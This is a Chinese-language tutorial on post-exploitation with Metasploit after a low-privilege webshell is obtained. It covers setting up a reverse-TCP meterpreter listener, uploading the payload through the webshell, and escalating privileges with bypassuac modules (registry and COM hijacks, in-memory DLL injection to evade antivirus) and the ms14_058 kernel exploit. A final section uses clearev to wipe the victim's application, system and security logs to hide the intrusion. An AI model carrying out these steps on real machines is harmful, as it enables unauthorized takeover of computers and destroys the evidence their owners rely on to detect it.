在獲得webshell時但權限不夠大,這時候為了完全獲得受害者機器的權限,使用msf進行后滲透。
一、獲取Meterpreter會話
Meterpreter 是msf的一個payload,目標執行之后,我們會得到一個會話,和常見的shell會話類似,但是它的功能更加強大,它是執行后滲透測試的實施通道。
(1) 使用msfvenom生成payload
常用命令:
(2)本地監聽
監聽需要用到msf的exploit/multi/handler模塊,使用show options查看需要設置的參數。重要的參數有三個:監聽使用的payload、本地ip、本地監聽端口。這些參數的值跟之前msfvenom使用的參數一樣。
Msfconsole 打開Metaploit
msf>use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.204.129
(3)將生成的payload通過webshell上傳到服務器
要上傳到可讀寫的區域並執行
成功監聽獲得meterpreter(一個session(會話))
Getuid 查看主機名
也可以輸入shell變成命令行模式,輸入exit返回到meterpeter shell模式
輸入background命令讓當前會話保存到后台
使用sessions命令可以查看所有后台的會話,每個session對應一個id值,后面會經常用到。
(4)Exploit 進行提權(UAC提權)
用戶帳戶控制(UAC)是微軟在 Windows Vista 以后版本引入的一種安全機制,有助於防止對系統進行未經授權的更改。應用程序和任務可始終在非管理員帳戶的安全上下文中運行,除非管理員專門給系統授予管理員級別的訪問權限。UAC 可以阻止未經授權的應用程序進行自動安裝,並防止無意中更改系統設置。
msf提供了bypassuac模塊幫助繞過UAC:
在使用bypassuac模塊進行提權時,當前用戶必須在管理員組中,且UAC必須為默認設置(既“僅在程序試圖更改我的計算機時通知我”),bypassuac模塊運行時,會在目標機器上創建多個文件,這些文件很有可能會被殺毒軟件識別。
bypassuac模塊介紹
use exploit/windows/local/bypassuac
#該模塊運行時會因為在目標機上創建多個文件而被殺毒軟件識別,因此通過該模塊提權成功率很低。
use exploit/windows/local/bypassuac_injection
#該模塊直接運行在內存的反射DLL中,所以不會接觸目標機器的硬盤,從而降低了被殺毒軟件檢測出來的概率
use exploit/windows/local/bypassuac_fodhelper
# 該模塊通過在當前用戶配置單元下劫持注冊表中的特殊鍵,並插入將在啟動Windows fodhelper.exe應用程序時調用的自定義命令來繞過Windows 10 UAC
use exploit/windows/local/bypassuac_eventvwr
#該模塊通過在當前用戶配置單元下劫持注冊表中的特殊鍵,並插入將在啟動Windows fodhelper.exe應用程序時調用的自定義命令來繞過Windows 10 UAC
use exploit/windows/local/bypassuac_comhijack
#此模塊將通過在HKCU配置單元中,創建COM處理程序注冊表項來繞過Windows UAC。當加載某些高完整性進程時將會引用這些注冊表項,從而導致進程加載用戶控制的DLL。這些DLL中包含了可提升權限的payload。該模塊需要通過目標系統上的cmd.exe來調用目標二進制文件,因此如果限制cmd.exe訪問,則此模塊將無法正常運行。
use exploit/windows/local/bypassuac_windows_store
#通過模擬可信目錄繞過UAC
use exploit/windows/local/bypassuac_sdclt
#Sdclt用於Windows備份和還原機制的上下文中
1.第一次嘗試三個模塊都無法獲得權限
因為webshell權限只是user,這需要權限在adminisartor組中
bypassuac 執行成功后會返回一個新的 meterpreter,此時再輸入 shell 進入系統 cmd 查看權限,權限級別已經由 medium 變成了 high。
除此之外還有很多其他的提權腳本,可以根據 systeminfo 查出來的補丁和提權腳本做對比,若相關的利用腳本沒有安裝相應的補丁,則可針對性的進行提權操作。
這里用bypassuac_injection成功提權
但是對新版的的win10沒有一個可以成功繞過。
2.也可以嘗試使用windwos的漏洞進行提權
可以用metaspolit的內置模塊
use post/windows/gather/enum_patches
post/multi/recon/local_exploit_suggester
set session id
#id是已經獲得的session號
當我們用它來探測某一個系統時,他會告訴我們該系統有哪些exploit可能可以利用
use post/multi/recon/local_exploit_suggester
詳細利用在另一篇文章
發現可能的漏洞后可以找到對應exp的模塊:
如ms13_053,ms14_058,ms16_016,ms16_032等。下面以ms14_058為例。
msf5 > use exploit/windows/local/ms14_058_track_popup_menu
msf5 > exploit(ms14_058_track_popup_menu) > set session 1
msf5 > exploit(ms14_058_track_popup_menu) > exploit
日志清除
清除日志
再進入肉雞執行一些操作時,windows 下記錄的操作日志可在日志查看器中進行查看,可以通過運行 eventvwr 命令打開。
包括了應用程序、系統、安全等模塊的日志,為了不讓其查到自己或知道自己的操作,則可以使用 meterpreter 的 clearev 命令來清除其日志。
未清除日志前可查看系統記錄的一些處理信息。
然后在 meterpreter 下執行 clearev 命令,可以看到清除提示,分別清除了應用程序,系統和安全模塊的日志記錄。
命令運行后,再到靶機的日志查看器中查看,日志已經被清除。